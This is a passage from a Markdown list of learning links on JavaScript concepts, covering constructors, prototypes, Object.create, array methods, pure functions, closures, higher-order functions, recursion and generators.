- 📜 [Understanding 'this' binding in JavaScript — Yasemin Cidem](https://yasemincidem.medium.com/understanding-this-binding-in-javascript-86687397c76d)
### Videos
- 🎥 [JavaScript call, apply and bind — techsith](https://www.youtube.com/watch?v=c0mLRpw-9rI)
- 🎥 [JavaScript Practical Applications of Call, Apply and Bind functions— techsith](https://www.youtube.com/watch?v=AYVYxezrMWA)
- 🎥 [JavaScript (call, bind, apply) — curious aatma](https://www.youtube.com/watch?v=Uy0NOXLBraE)
- 🎥 [Understanding Functions and 'this' In The World of ES2017 — Bryan Hughes](https://www.youtube.com/watch?v=AOSYY1_np_4)
- 🎥 [bind and this - Object Creation in JavaScript - FunFunFunction](https://www.youtube.com/watch?v=GhbhD1HR5vk)
- 🎥 [JS Function Methods call(), apply(), and bind() — Steve Griffith](https://www.youtube.com/watch?v=uBdH0iB1VDM)
**[⬆ Back to Top](#table-of-contents)**
---
## 16. new, Constructor, instanceof and Instances
### Articles
- 📜 [JavaScript For Beginners: the ‘new’ operator — Brandon Morelli](https://codeburst.io/javascript-for-beginners-the-new-operator-cee35beb669e)
- 📜 [Let’s demystify JavaScript’s ‘new’ keyword — Cynthia Lee](https://medium.freecodecamp.org/demystifying-javascripts-new-keyword-874df126184c)
- 📜 [Constructor, operator "new" — JavaScript.Info](https://javascript.info/constructor-new)
- 📜 [Understanding JavaScript Constructors — Faraz Kelhini](https://css-tricks.com/understanding-javascript-constructors/)
- 📜 [Use Constructor Functions — Openclassrooms](https://openclassrooms.com/en/courses/3523231-learn-to-code-with-javascript/4379006-use-constructor-functions)
- 📜 [Beyond `typeof` and `instanceof`: simplifying dynamic type checks — Dr. Axel Rauschmayer](http://2ality.com/2017/08/type-right.html)
- 📜 [What Is the Instanceof Operator in JavaScript — appendTo](https://appendto.com/2016/10/what-is-the-instanceof-operator-in-javascript/)
- 📜 [Function and Object, instances of each other — Kiro Risk](https://javascriptrefined.io/function-and-object-instances-of-each-other-1e1095d5faac)
**[⬆ Back to Top](#table-of-contents)**
---
## 17. Prototype Inheritance and Prototype Chain
### Reference
- 📜 [Inheritance and the prototype chain — MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Inheritance_and_the_prototype_chain)
### Articles
- 📜 [Javascript : Prototype vs Class — Valentin PARSY](https://medium.com/@parsyval/javascript-prototype-vs-class-a7015d5473b)
- 📜 [JavaScript engine fundamentals: optimizing prototypes — Mathias Bynens](https://mathiasbynens.be/notes/prototypes)
- 📜 [JavaScript Prototype — NC Patro](https://codeburst.io/javascript-prototype-cb29d82b8809)
- 📜 [Prototype in Javascript — Sandeep Ranjan](https://www.codementor.io/sandeepranjan2007/prototype-in-javascipt-knbve0lqo)
- 📜 [Prototypes in JavaScript — Rupesh Mishra](https://hackernoon.com/prototypes-in-javascript-5bba2990e04b)
- 📜 [Prototype in JavaScript: it’s quirky, but here’s how it works — Pranav Jindal](https://medium.freecodecamp.org/prototype-in-js-busted-5547ec68872)
- 📜 [Understanding JavaScript: Prototype and Inheritance — Alexander Kondov](https://hackernoon.com/understanding-javascript-prototype-and-inheritance-d55a9a23bde2)
- 📜 [Understanding Classes (ES5) and Prototypal Inheritance in JavaScript — Hridayesh Sharma](https://dev.to/_hridaysharma/understanding-classes-es5-and-prototypal-inheritance-in-javascript-n8d)
- 📜 [prototype, **proto** and Prototypal inheritance in JavaScript — Varun Dey](https://dev.to/varundey/prototype-proto-and-prototypal-inheritance-in-javascript-2inl)
- 📜 [Prototypal Inheritance — JavaScript.Info](https://javascript.info/prototype-inheritance)
- 📜 [How To Work with Prototypes and Inheritance in JavaScript — Tania Rascia](https://www.digitalocean.com/community/tutorials/understanding-prototypes-and-inheritance-in-javascript)
- 📜 [Master JavaScript Prototypes & Inheritance — Arnav Aggarwal](https://codeburst.io/master-javascript-prototypes-inheritance-d0a9a5a75c4e)
- 📜 [JavaScript’s Prototypal Inheritance Explained Using CSS — Nash Vail](https://medium.freecodecamp.org/understanding-prototypal-inheritance-in-javascript-with-css-93b2fcda75e4)
- 📜 [Prototypal Inheritance in JavaScript — Jannis Redmann](https://gist.github.com/derhuerst/a585c4916b1c361cc6f0)
- 📜 [Demystifying ES6 Classes And Prototypal Inheritance ― Neo Ighodaro](https://scotch.io/tutorials/demystifying-es6-classes-and-prototypal-inheritance)
- 📜 [Intro To Prototypal Inheritance — Dharani Jayakanthan](https://dev.to/danny/intro-to-prototypal-inheritance---js-9di)
- 📜 [Let’s Build Prototypal Inheritance in JS — var-che](https://dev.to/varche/let-s-build-prototypal-inheritance-in-js-56mm)
- 📜 [Objects, Prototypes and Classes in JavaScript — Atta](https://dev.to/attacomsian/objects-prototypes-and-classes-in-javascript-3i9b)
- 📜 [The magical world of JavaScript prototypes — Belén](https://dev.to/ladybenko/the-magical-world-of-javascript-prototypes-1mhg)
- 📜 [Understanding Prototypal Inheritance In JavaScript — Lawrence Eagles](https://dev.to/lawrence_eagles/understanding-prototypal-inheritance-in-javascript-4f31#chp-4)
- 📜 [Objects and Prototypes in JavaScript — Irena Popova](https://dev.to/irenejpopova/objects-and-prototypes-in-javascript-2eie)
### Videos
- 🎥 [Javascript Prototype Inheritance — Avelx](https://www.youtube.com/watch?v=sOrtAjyk4lQ)
- 🎥 [JavaScript Prototype Inheritance Explained pt. I — techsith](https://www.youtube.com/watch?v=7oNWNlMrkpc)
- 🎥 [JavaScript Prototype Inheritance Explained pt. II — techsith](https://www.youtube.com/watch?v=uIlj6_z_wL8)
- 🎥 [JavaScript Prototype Inheritance Explained — Kyle Robinson](https://www.youtube.com/watch?v=qMO-LTOrJaE)
- 🎥 [Advanced Javascript - Prototypal Inheritance In 1 Minute](https://www.youtube.com/watch?v=G6l5CHl67HQ)
- 🎥 [An Overview Of Classical Javascript Classes and Prototypal Inheritance — Pentacode](https://www.youtube.com/watch?v=phwzuiJJPpQ)
- 🎥 [Object Oriented JavaScript - Prototype — The Net Ninja](https://www.youtube.com/watch?v=4jb4AYEyhRc)
- 🎥 [Prototype in JavaScript — kudvenkat](https://www.youtube.com/watch?v=2rkEbcptR64)
- 🎥 [JavaScript Using Prototypes — O'Reilly](https://www.youtube.com/watch?v=oCwCcNvaXAQ)
- 🎥 [A Beginner's Guide to Javascript's Prototype — Tyler Mcginnis](https://www.youtube.com/watch?v=XskMWBXNbp0)
- 🎥 [Prototypes in Javascript - p5.js Tutorial — The Coding Train](https://www.youtube.com/watch?v=hS_WqkyUah8)
### Books
- [You Don't Know JS, 1st Edition: this & Object Prototypes — Kyle Simpson](https://github.com/getify/You-Dont-Know-JS/tree/1st-ed)
**[⬆ Back to Top](#table-of-contents)**
---
## 18. Object.create and Object.assign
### Reference
- 📜 [Object.create() — MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/create)
- 📜 [Object.assign() — MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/assign)
### Articles
- 📜 [Object.create in JavaScript — Rupesh Mishra](https://medium.com/@happymishra66/object-create-in-javascript-fa8674df6ed2)
- 📜 [Object.create(): the New Way to Create Objects in JavaScript — Rob Gravelle](https://www.htmlgoodies.com/beyond/javascript/object.create-the-new-way-to-create-objects-in-javascript.html)
- 📜 [Basic Inheritance with Object.create — Joshua Clanton](http://adripofjavascript.com/blog/drips/basic-inheritance-with-object-create.html)
- 📜 [Object.create() In JavaScript — GeeksforGeeks](https://www.geeksforgeeks.org/object-create-javascript/)
- 📜 [Understanding the difference between Object.create() and the new operator — Jonathan Voxland](https://medium.com/@jonathanvox01/understanding-the-difference-between-object-create-and-the-new-operator-b2a2f4749358)
- 📜 [JavaScript Object Creation: Patterns and Best Practices — Jeff Mott](https://www.sitepoint.com/javascript-object-creation-patterns-best-practises/)
- 📜 [Copying Objects in JavaScript ― Orinami Olatunji](https://scotch.io/bar-talk/copying-objects-in-javascript)
- 📜 [JavaScript: Object.assign() — Thiago S. Adriano](https://codeburst.io/javascript-object-assign-bc9696dcbb6e)
- 📜 [How to deep clone a JavaScript Object — Flavio Copes](https://flaviocopes.com/how-to-clone-javascript-object/)
- 📜 [Object.create(): When and Why to Use — VZing](https://dev.to/vzing/object-create-when-and-why-to-use-20m9)
### Videos
- 🎥 [Object.assign() explained — Aaron Writes Code](https://www.youtube.com/watch?v=aw7NfYhR5rc)
- 🎥 [Object.assign() Method — techsith](https://www.youtube.com/watch?v=9Ky4X6inpi4)
**[⬆ Back to Top](#table-of-contents)**
---
## 19. map, reduce, filter
### Articles
- 📜 [JavaScript Functional Programming — map, filter and reduce — Bojan Gvozderac](https://medium.com/jsguru/javascript-functional-programming-map-filter-and-reduce-846ff9ba492d)
- 📜 [Learn map, filter and reduce in Javascript — João Miguel Cunha](https://medium.com/@joomiguelcunha/learn-map-filter-and-reduce-in-javascript-ea59009593c4)
- 📜 [JavaScript’s Map, Reduce, and Filter — Dan Martensen](https://danmartensen.svbtle.com/javascripts-map-reduce-and-filter)
- 📜 [How to Use Map, Filter, & Reduce in JavaScript — Peleke Sengstacke](https://code.tutsplus.com/tutorials/how-to-use-map-filter-reduce-in-javascript--cms-26209)
- 📜 [JavaScript — Learn to Chain Map, Filter, and Reduce — Brandon Morelli](https://codeburst.io/javascript-learn-to-chain-map-filter-and-reduce-acd2d0562cd4)
- 📜 [Javascript data structure with map, reduce, filter and ES6 — Deepak Gupta](https://codeburst.io/write-beautiful-javascript-with-%CE%BB-fp-es6-350cd64ab5bf)
- 📜 [Understanding map, filter and reduce in Javascript — Luuk Gruijs](https://hackernoon.com/understanding-map-filter-and-reduce-in-javascript-5df1c7eee464)
- 📜 [Functional Programming in JS: map, filter, reduce (Pt. 5) — Omer Goldberg](https://hackernoon.com/functional-programming-in-js-map-filter-reduce-pt-5-308a205fdd5f)
- 📜 [JavaScript: Map, Filter, Reduce — William S. Vincent](https://wsvincent.com/functional-javascript-map-filter-reduce/)
- 📜 [Arrow Functions: Fat and Concise Syntax in JavaScript — Kyle Pennell](https://www.sitepoint.com/es6-arrow-functions-new-fat-concise-syntax-javascript/)
- 📜 [JavaScript: Arrow Functions for Beginners — Brandon Morelli](https://codeburst.io/javascript-arrow-functions-for-beginners-926947fc0cdc)
- 📜 [When (and why) you should use ES6 arrow functions — and when you shouldn’t — Cynthia Lee](https://medium.freecodecamp.org/when-and-why-you-should-use-es6-arrow-functions-and-when-you-shouldnt-3d851d7f0b26)
- 📜 [JavaScript — Learn & Understand Arrow Functions — Brandon Morelli](https://codeburst.io/javascript-learn-understand-arrow-functions-fe2083533946)
- 📜 [(JavaScript )=> Arrow functions — sigu](https://medium.com/podiihq/javascript-arrow-functions-27d4c3334b83)
- 📜 [Javascript.reduce() — Paul Anderson](https://medium.com/@panderson.dev/javascript-reduce-79aab078da23)
- 📜 [Why you should replace forEach with map and filter in JavaScript — Roope Hakulinen](https://gofore.com/en/why-you-should-replace-foreach/)
- 📜 [Simplify your JavaScript – Use .map(), .reduce(), and .filter() — Etienne Talbot](https://medium.com/poka-techblog/simplify-your-javascript-use-map-reduce-and-filter-bd02c593cc2d)
- 📜 [JavaScript’s Reduce Method Explained By Going On a Diet — Kevin Kononenko](https://blog.codeanalogies.com/2018/07/24/javascripts-reduce-method-explained-by-going-on-a-diet/)
- 📜 [Difference between map, filter and reduce in JavaScript — Amirata Khodaparast](https://medium.com/@amiratak88/difference-between-map-filter-and-reduce-in-javascript-822ff79d5160)
- 📜 [Map⇄Filter⇄Reduce↻ — ashay mandwarya](https://hackernoon.com/map-filter-reduce-ebbed4be4201)
- 📜 [Finding Your Way With .map() — Brandon Wozniewicz](https://medium.freecodecamp.org/finding-your-way-with-map-aecb8ca038f6)
- 📜 [How to write your own map, filter and reduce functions in JavaScript — Hemand Nair](https://medium.freecodecamp.org/how-to-write-your-own-map-filter-and-reduce-functions-in-javascript-ab1e35679d26)
- 📜 [How to Manipulate Arrays in JavaScript — Bolaji Ayodeji](https://www.freecodecamp.org/news/manipulating-arrays-in-javascript/)
- 📜 [How to simplify your codebase with map(), reduce(), and filter() in JavaScript — Alex Permyakov](https://www.freecodecamp.org/news/15-useful-javascript-examples-of-map-reduce-and-filter-74cbbb5e0a1f)
- 📜 [.map(), .filter(), and .reduce() — Andy Pickle](https://dev.to/pickleat/map-filter-and-reduce-2efb)
- 📜 [Map/Filter/Reduce Crash Course — Chris Achard](https://dev.to/chrisachard/map-filter-reduce-crash-course-5gan)
- 📜 [Map, Filter and Reduce – Animated — JavaScript Teacher](https://medium.com/@js_tut/map-filter-and-reduce-animated-7fe391a35a47)
- 📜 [Map, Filter, Reduce and others Arrays Iterators You Must Know to Become an Algorithms Wizard — Mauro Bono](https://dev.to/uptheirons78/map-filter-reduce-and-others-arrays-iterators-you-must-know-to-become-an-algorithms-wizard-4209)
- 📜 [How to Use JavaScript’s .map, .filter, and .reduce — Avery Duffin](https://betterprogramming.pub/how-to-javascripts-map-vs-filter-vs-reduce-80d87a5a0a24)
- 📜 [Javascript performance test - for vs for each vs (map, reduce, filter, find) — Deepak Gupta](https://towardsdatascience.com/javascript-performance-test-for-vs-for-each-vs-map-reduce-filter-find-32c1113f19d7)
- 📜 [Using .map(), .filter() and .reduce() properly — Sasanka Kudagoda](https://medium.com/javascript-in-plain-english/using-map-filter-and-reduce-properly-50e07f80c8b2)
- 📜 [Mastering the JavaScript Reduce method ✂️ — sanderdebr](https://dev.to/sanderdebr/mastering-the-javascript-reduce-method-2foj)
- 📜 [JavaScript Map – How to Use the JS .map() Function (Array Method) — FreeCodeCamp](https://www.freecodecamp.org/news/javascript-map-how-to-use-the-js-map-function-array-method/)
### Videos
- 🎥 [Map, Filter and Reduce — Lydia Hallie](https://www.youtube.com/watch?v=UXiYii0Y7Nw)
- 🎥 [Functional JavaScript: Map, forEach, Reduce, Filter — Theodore Anderson](https://www.youtube.com/watch?v=vytzLlY_wmU)
- 🎥 [JavaScript Array superpowers: Map, Filter, Reduce (part I) — Michael Rosata](https://www.youtube.com/watch?v=qTeeVd8hOFY)
- 🎥 [JavaScript Array superpowers: Map, Filter, Reduce (part 2) — Michael Rosata](https://www.youtube.com/watch?v=gIm9xLYudL0)
- 🎥 [JavaScript Higher Order Functions - Filter, Map, Sort & Reduce — Epicop](https://www.youtube.com/watch?v=zYBeEPxNSbw)
- 🎥 [[Array Methods 2/3] .filter + .map + .reduce — CodeWithNick](https://www.youtube.com/watch?v=4qWlqD0yYTU)
- 🎥 [Arrow functions in JavaScript - What, Why and How — Fun Fun Function](https://www.youtube.com/watch?v=6sQDTgOqh-I)
- 🎥 [Learning Functional Programming with JavaScript — Anjana Vakil - JSUnconf](https://www.youtube.com/watch?v=e-5obm1G_FY&t=1521s)
- 🎥 [Map - Parte 2 JavaScript - Fun Fun Function](https://www.youtube.com/watch?v=bCqtb-Z5YGQ&t=17s)
- 🎥 [Reduce basics - Part 3 of FP in JavaScript - Fun Fun Function](https://www.youtube.com/watch?v=Wl98eZpkp-c)
- 🎥 [Reduce Advanced - Part 4 of FP in JavaScript - Fun Fun Function](https://www.youtube.com/watch?v=1DMolJ2FrNY&t=621s)
- 🎥 [reduce Array Method | JavaScript Tutorial - Florin Pop](https://www.youtube.com/watch?v=IXp06KekEjM)
- 🎥 [map Array Method | JavaScript Tutorial - Florin Pop](https://www.youtube.com/watch?v=P4RAFdZDn3M)
- 🎥 [Different array methods in 1 minute | Midudev (Spanish)](https://youtu.be/Ah7-PPjQ5Ls)
**[⬆ Back to Top](#table-of-contents)**
---
## 20. Pure Functions, Side Effects, State Mutation and Event Propagation
### Articles
- 📜 [Javascript and Functional Programming — Pure Functions — Omer Goldberg](https://hackernoon.com/javascript-and-functional-programming-pt-3-pure-functions-d572bb52e21c)
- 📜 [Master the JavaScript Interview: What is a Pure Function? — Eric Elliott](https://medium.com/javascript-scene/master-the-javascript-interview-what-is-a-pure-function-d1c076bec976)
- 📜 [JavaScript: What Are Pure Functions And Why Use Them? — James Jeffery](https://medium.com/@jamesjefferyuk/javascript-what-are-pure-functions-4d4d5392d49c)
- 📜 [Pure functions in JavaScript — @nicoespeon](http://www.nicoespeon.com/en/2015/01/pure-functions-javascript/)
- 📜 [Functional Programming: Pure Functions — Arne Brasseur](https://www.sitepoint.com/functional-programming-pure-functions/)
- 📜 [Pure Functions In Javascript — Krunal](https://appdividend.com/2017/04/10/pure-functions-in-javascript/)
- 📜 [Making your JavaScript Pure — Jack Franklin](https://alistapart.com/article/making-your-javascript-pure)
- 📜 [Arrays, Objects and Mutations — Federico Knüssel](https://medium.com/@fknussel/arrays-objects-and-mutations-6b23348b54aa)
- 📜 [The State of Immutability — Maciej Sikora](https://medium.com/dailyjs/the-state-of-immutability-169d2cd11310)
- 📜 [Hablemos de Inmutabilidad — Kike Sanchez](https://medium.com/zurvin/hablemos-de-inmutabilidad-3dc65d290783)
- 📜 [How to deal with dirty side effects in your pure functional JavaScript — James Sinclair](https://jrsinclair.com/articles/2018/how-to-deal-with-dirty-side-effects-in-your-pure-functional-javascript/)
- 📜 [Preventing Side Effects in JavaScript — David Walsh](https://davidwalsh.name/preventing-sideeffects-javascript)
- 📜 [Wielding Pure Functions in JavaScript and Function Composition — Peleke Sengstacke](https://scotch.io/tutorials/wielding-pure-functions-in-javascript-and-function-composition)
- 📜 [JavaScript: Pure Functions — William S. Vincent](https://wsvincent.com/javascript-pure-functions/)
- 📜 [Functional programming paradigms in modern JavaScript: Pure functions — Alexander Kondov](https://hackernoon.com/functional-programming-paradigms-in-modern-javascript-pure-functions-797d9abbee1)
- 📜 [Understanding Javascript Mutation and Pure Functions — Chidume Nnamdi](https://blog.bitsrc.io/understanding-javascript-mutation-and-pure-functions-7231cc2180d3)
- 📜 [Functional-ish JavaScript — Daniel Brain](https://medium.com/@bluepnume/functional-ish-javascript-205c05d0ed08)
- 📜 [Event Propagation — MDN](https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Building_blocks/Events)
- 📜 [Event Propagation — Bubbling and capturing](https://javascript.info/bubbling-and-capturing)
### Videos
- 🎥 [Pure Functions — Hexlet](https://www.youtube.com/watch?v=dZ41D6LDSBg)
- 🎥 [Pure Functions - Functional Programming in JavaScript — Paul McBride](https://www.youtube.com/watch?v=Jh_Uzqzz_wM)
- 🎥 [JavaScript Pure Functions — Seth Alexander](https://www.youtube.com/watch?v=frT3H-eBmPc)
- 🎥 [JavaScript Pure vs Impure Functions Explained — Theodore Anderson](https://www.youtube.com/watch?v=AHbRVJzpB54)
- 🎥 [Pure Functions - Programação Funcional: Parte 1 - Fun Fun Function](https://www.youtube.com/watch?v=BMUiFMZr7vk)
- 🎥 [Event Propagation - JavaScript Event Bubbling and Propagation - Steve Griffith](https://www.youtube.com/watch?v=JYc7gr9Ehl0)
**[⬆ Back to Top](#table-of-contents)**
---
## 21. Closures
### Reference
- 📜 [Closures — MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Closures)
- 📜 [Closure — JavaScript.Info](https://javascript.info/closure)
### Articles
- 📜 [I never understood JavaScript closures — Olivier De Meulder](https://medium.com/dailyjs/i-never-understood-javascript-closures-9663703368e8)
- 📜 [Understand JavaScript Closures With Ease — Richard Bovell](http://javascriptissexy.com/understand-javascript-closures-with-ease/)
- 📜 [Understanding JavaScript Closures — Codesmith](https://codeburst.io/understanding-javascript-closures-da6aab330302)
- 📜 [Understand Closures in JavaScript — Brandon Morelli](https://codeburst.io/understand-closures-in-javascript-d07852fa51e7)
- 📜 [A simple guide to help you understand closures in JavaScript — Prashant Ram](https://medium.freecodecamp.org/javascript-closures-simplified-d0d23fa06ba4)
- 📜 [Understanding JavaScript Closures: A Practical Approach — Paul Upendo](https://scotch.io/tutorials/understanding-javascript-closures-a-practical-approach)
- 📜 [Understanding JavaScript: Closures — Alexander Kondov](https://hackernoon.com/understanding-javascript-closures-4188edf5ea1b)
- 📜 [How to use JavaScript closures with confidence — Léna Faure](https://hackernoon.com/how-to-use-javascript-closures-with-confidence-85cd1f841a6b)
- 📜 [JavaScript closures by example — tyler](https://howchoo.com/g/mge2mji2mtq/javascript-closures-by-example)
- 📜 [JavaScript — Closures and Scope — Alex Aitken](https://codeburst.io/javascript-closures-and-scope-3784c75b9290)
- 📜 [Discover the power of closures in JavaScript — Cristi Salcescu](https://medium.freecodecamp.org/discover-the-power-of-closures-in-javascript-5c472a7765d7)
- 📜 [Getting Closure — RealLifeJS](http://reallifejs.com/the-meat/getting-closure/)
- 📜 [Closure, Currying and IIFE in JavaScript — Ritik](https://dev.to/ritik_dev_js/what-the-hack-is-closure-currying-and-iife-in-javascript-32m9)
- 📜 [Understanding Closures in JavaScript — Sukhjinder Arora](https://blog.bitsrc.io/a-beginners-guide-to-closures-in-javascript-97d372284dda)
- 📜 [A basic guide to Closures in JavaScript — Parathan Thiyagalingam](https://medium.freecodecamp.org/a-basic-guide-to-closures-in-javascript-9fc8b7e3463e)
- 📜 [Closures: Using Memoization — Brian Barbour](https://dev.to/steelvoltage/closures-using-memoization-3597)
- 📜 [A Brief Introduction to Closures and Lexical Scoping in JavaScript — Ashutosh K Singh](https://betterprogramming.pub/a-brief-introduction-to-closures-and-lexical-scoping-in-javascript-8a5866496232)
- 📜 [Demystify Closures — stereobooster](https://dev.to/stereobooster/demystify-closures-5g42)
- 📜 [Scopes and Closures - JavaScript Concepts — Agney Menon](https://dev.to/boywithsilverwings/scopes-and-closures-javascript-concepts-4dfj)
- 📜 [Understanding Closures in JavaScript — Matt Popovich](https://dev.to/mattpopovich/understanding-closures-in-javascript-3k0d)
- 📜 [whatthefuck.is · A Closure - Dan Abramov](https://whatthefuck.is/closure)
- 📜 [Closures in JavaScript can... - Brandon LeBoeuf](https://dev.to/brandonleboeuf/closure-in-javascript-49n7)
- 📜 [Do you know Closures - Mohamed Khaled](https://dev.to/this_mkhy/do-you-know-es6-part-3-advanced-3fcl#Closures-2)
### Videos
- 🎥 [JavaScript The Hard Parts: Closure, Scope & Execution Context - Codesmith](https://www.youtube.com/watch?v=XTAzsODSCsM)
- 🎥 [Javascript Closure — techsith](https://www.youtube.com/watch?v=71AtaJpJHw0)
- 🎥 [Closures — Fun Fun Function](https://www.youtube.com/watch?v=CQqwU2Ixu-U)
- 🎥 [Closures in JavaScript — techsith](https://www.youtube.com/watch?v=-xqJo5VRP4A)
- 🎥 [JavaScript Closures 101: What is a closure? — JavaScript Tutorials](https://www.youtube.com/watch?v=yiEeiMN2Khs)
- 🎥 [Closures — freeCodeCamp](https://www.youtube.com/watch?v=1JsJx1x35c0)
- 🎥 [JavaScript Closures — CodeWorkr](https://www.youtube.com/watch?v=-rLrGAXK8WE)
- 🎥 [Closures in JS - Akshay Saini](https://www.youtube.com/watch?v=qikxEIxsXco)
- 🎥 [CLOSURES en JavaScript: Qué son y cómo funcionan - Carlos Azaustre](https://youtu.be/xa8lhVwQBw4)
- 🎥 [Learn Closures In 7 Minutes - Web Dev Simplified](https://www.youtube.com/watch?v=3a0I8ICR1Vg)
**[⬆ Back to Top](#table-of-contents)**
---
## 22. High Order Functions
### Books
- 📜 [Eloquent JavaScript, 3rd Edition: Ch. 5 - Higher-order Functions](https://eloquentjavascript.net/05_higher_order.html)
### Articles
- 📜 [Higher-Order Functions in JavaScript — M. David Green](https://www.sitepoint.com/higher-order-functions-javascript/)
- 📜 [Higher Order Functions: Using Filter, Map and Reduce for More Maintainable Code — Guido Schmitz](https://medium.freecodecamp.org/higher-order-functions-in-javascript-d9101f9cf528)
- 📜 [First-class and Higher Order Functions: Effective Functional JavaScript — Hugo Di Francesco](https://hackernoon.com/effective-functional-javascript-first-class-and-higher-order-functions-713fde8df50a)
- 📜 [Higher Order Functions in JavaScript — John Hannah](https://www.lullabot.com/articles/higher-order-functions-in-javascript)
- 📜 [Just a reminder on how to use high order functions — Pedro Filho](https://github.com/pedroapfilho/high-order-functions)
- 📜 [Understanding Higher-Order Functions in JavaScript — Sukhjinder Arora](https://blog.bitsrc.io/understanding-higher-order-functions-in-javascript-75461803bad)
- 📜 [Higher Order Functions - A pragmatic approach — emmanuel ikwuoma](https://dev.to/nuel_ikwuoma/higher-order-functions-a-pragmatic-approach-51fb)
### Videos
- 🎥 [JavaScript Higher Order Functions & Arrays — Traversy Media](https://www.youtube.com/watch?v=rRgD1yVwIvE)
- 🎥 [Higher Order Functions — Fun Fun Function](https://www.youtube.com/watch?v=BMUiFMZr7vk)
- 🎥 [Higher Order Functions in Javascript — Raja Yogan](https://www.youtube.com/watch?v=dTlpYnmBW9I)
- 🎥 [Higher Order Iterators in JavaScript — Fun Fun Function](https://www.youtube.com/watch?v=GYRMNp1SKXA)
- 🎥 [Higher Order Functions in JavaScript — The Coding Train](https://www.youtube.com/watch?v=H4awPsyugS0)
- 🎥 [Part 1: An Introduction to Callbacks and Higher Order Functions - Codesmith](https://www.youtube.com/watch?v=7E8ctomPQJw)
- 🎥 [Part 2: Understanding Why We Need Higher Order Functions - Codesmith](https://www.youtube.com/watch?v=28MXziDZkE4)
- 🎥 [Higher-Order Functions ft. Functional Programming - Akshay Saini](https://www.youtube.com/watch?v=HkWxvB1RJq0)
**[⬆ Back to Top](#table-of-contents)**
---
## 23. Recursion
### Articles
- 📜 [Recursion in JavaScript — Kevin Ennis](https://medium.freecodecamp.org/recursion-in-javascript-1608032c7a1f)
- 📜 [Understanding Recursion in JavaScript — Zak Frisch](https://medium.com/@zfrisch/understanding-recursion-in-javascript-992e96449e03)
- 📜 [Learn and Understand Recursion in JavaScript — Brandon Morelli](https://codeburst.io/learn-and-understand-recursion-in-javascript-b588218e87ea)
- 📜 [Recursion in Functional JavaScript — M. David Green](https://www.sitepoint.com/recursion-functional-javascript/)
- 📜 [Programming with JS: Recursion — Alexander Kondov](https://hackernoon.com/programming-with-js-recursion-31371e2bf808)
- 📜 [Anonymous Recursion in JavaScript — simo](https://dev.to/simov/anonymous-recursion-in-javascript)
- 📜 [Recursion, iteration and tail calls in JS — loverajoel](http://www.jstips.co/en/javascript/recursion-iteration-and-tail-calls-in-js/)
- 📜 [Intro to Recursion — Brad Newman](https://medium.com/@newmanbradm/intro-to-recursion-984a8bd50f4b)
- 📜 [Accio Recursion!: Your New Favorite JavaScript Spell — Leanne Cabey](https://medium.datadriveninvestor.com/accio-recursion-your-new-favorite-javascript-spell-7e10d3125fb3)
- 📜 [Recursion Explained (with Examples) — Christina](https://dev.to/christinamcmahon/recursion-explained-with-examples-4k1m)
### Videos
- 🎥 [Recursion In JavaScript — techsith](https://www.youtube.com/watch?v=VtG0WAUvq2w)
- 🎥 [Recursion — Fun Fun Function](https://www.youtube.com/watch?v=k7-N8R0-KY4)
- 🎥 [Recursion and Recursive Functions — Hexlet](https://www.youtube.com/watch?v=vLhHyGTkjCs)
- 🎥 [Recursion: Recursion() — JS Monthly — Lucas da Costa](https://www.youtube.com/watch?v=kGXVsd8pBLw)
- 🎥 [Recursive Function in JavaScript — kudvenkat](https://www.youtube.com/watch?v=uyjsR9eNTIw)
- 🎥 [What on Earth is Recursion? — Computerphile](https://www.youtube.com/watch?v=Mv9NEXX1VHc)
- 🎥 [Javascript Tutorial 34: Introduction To Recursion — codedamn](https://www.youtube.com/watch?v=9NO5dXSlbv8)
- 🎥 [Recursion, Iteration, and JavaScript: A Love Story | JSHeroes 2018 — Anjana Vakil](https://www.youtube.com/watch?v=FmiQr4nfoPQ)
- 🎥 [Recursion crash course - Colt Steele](https://www.youtube.com/watch?v=lMBVwYrmFZQ&ab_channel=ColtSteele)
**[⬆ Back to Top](#table-of-contents)**
---
## 24. Collections and Generators
### Reference
- 📜 [Generator — MDN web docs](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Generator)
### Articles
- 📜 [ES6 In Depth: Collections — Jason Orendorff](https://hacks.mozilla.org/2015/06/es6-in-depth-collections/)
- 📜 [ES6 Collections: Using Map, Set, WeakMap, WeakSet — Kyle Pennell](https://www.sitepoint.com/es6-collections-map-set-weakmap-weakset/)
- 📜 [ES6 WeakMaps, Sets, and WeakSets in Depth — Nicolás Bevacqua](https://ponyfoo.com/articles/es6-weakmaps-sets-and-weaksets-in-depth)
- 📜 [Map, Set, WeakMap and WeakSet — JavaScript.Info](https://javascript.info/map-set-weakmap-weakset)
- 📜 [Maps in ES6 - A Quick Guide — Ben Mildren](https://dev.to/mildrenben/maps-in-es6---a-quick-guide-35pk)
- 📜 [ES6 — Set vs Array — What and when? — Maya Shavin](https://medium.com/front-end-hacking/es6-set-vs-array-what-and-when-efc055655e1a)
- 📜 [ES6 — Map vs Object — What and when? — Maya Shavin](https://medium.com/front-end-hacking/es6-map-vs-object-what-and-when-b80621932373)
- 📜 [ES6: Working with Sets in JavaScript — Dead Code Rising](http://www.deadcoderising.com/es6-working-with-sets-in-javascript/)
- 📜 [Array vs Set vs Map vs Object — Real-time use cases in Javascript (ES6/ES7) — Rajesh Babu](https://codeburst.io/array-vs-set-vs-map-vs-object-real-time-use-cases-in-javascript-es6-47ee3295329b)
- 📜 [How to create an array of unique values in JavaScript using Sets — Claire Parker-Jones](https://dev.to/claireparker/how-to-create-an-array-of-unique-values-in-javascript-using-sets-5dg6)
- 📜 [What You Should Know About ES6 Maps — Just Chris](https://hackernoon.com/what-you-should-know-about-es6-maps-dc66af6b9a1e)
- 📜 [ES6 Maps in Depth — Nicolás Bevacqua](https://ponyfoo.com/articles/es6-maps-in-depth)
- 📜 [What are JavaScript Generators and how to use them — Vladislav Stepanov](https://codeburst.io/what-are-javascript-generators-and-how-to-use-them-c6f2713fd12e)
- 📜 [Understanding JavaScript Generators With Examples — Arfat Salman](https://codeburst.io/understanding-generators-in-es6-javascript-with-examples-6728834016d5)
- 📜 [The Basics of ES6 Generators — Kyle Simpson](https://davidwalsh.name/es6-generators)
